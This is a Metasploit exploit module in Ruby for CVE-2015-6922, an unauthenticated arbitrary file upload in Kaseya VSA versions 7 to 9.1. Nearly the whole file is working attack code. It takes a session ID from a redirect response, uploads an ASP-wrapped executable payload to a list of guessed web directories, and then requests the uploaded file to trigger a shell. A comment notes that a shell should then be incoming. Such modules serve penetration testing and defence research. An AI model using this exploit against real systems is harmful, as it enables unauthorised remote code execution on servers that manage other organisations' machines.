133 lines
3.9 KiB
Ruby
133 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
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'Description' => %q{
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This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
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between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
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directory leading to arbitrary code execution with IUSR privileges. This module has been
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tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
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},
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'Author' =>
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[
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'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2015-6922'],
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['ZDI', '15-449'],
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['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
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['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
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],
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Privileged' => false,
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'Targets' =>
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[
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[ 'Kaseya VSA v7 to v9.1', {} ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 23 2015'))
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end
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def check
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('ConfigTab','uploader.aspx')
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})
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if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Unknown
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end
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end
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def upload_file(payload, path, filename, session_id)
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print_status("Uploading payload to #{path}...")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
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'vars_get' => {
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'PathData' => path,
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'qqfile' => filename
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},
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'data' => payload,
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'ctype' => 'application/octet-stream',
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'cookie' => 'sessionId=' + session_id
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})
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if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
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return true
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else
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return false
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end
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end
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def exploit
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('ConfigTab','uploader.aspx')
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})
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if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
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session_id = $1
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else
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fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
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end
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asp_name = "#{rand_text_alpha_lower(8)}.asp"
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exe = generate_payload_exe
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payload = Msf::Util::EXE.to_exe_asp(exe).to_s
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paths = [
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# We have to guess the path, so just try the most common directories
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'C:\\Kaseya\\WebPages\\',
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'C:\\Program Files\\Kaseya\\WebPages\\',
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'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
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'D:\\Kaseya\\WebPages\\',
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'D:\\Program Files\\Kaseya\\WebPages\\',
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'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
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'E:\\Kaseya\\WebPages\\',
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'E:\\Program Files\\Kaseya\\WebPages\\',
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'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
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]
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paths.each do |path|
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if upload_file(payload, path, asp_name, session_id)
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register_files_for_cleanup(path + asp_name)
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print_status("Executing payload #{asp_name}")
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send_request_cgi({
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'uri' => normalize_uri(asp_name),
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'method' => 'GET'
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})
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# Failure. The request timed out or the server went away.
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break if res.nil?
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# Success! Triggered the payload, should have a shell incoming
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break if res.code == 200
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end
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end
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end
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end
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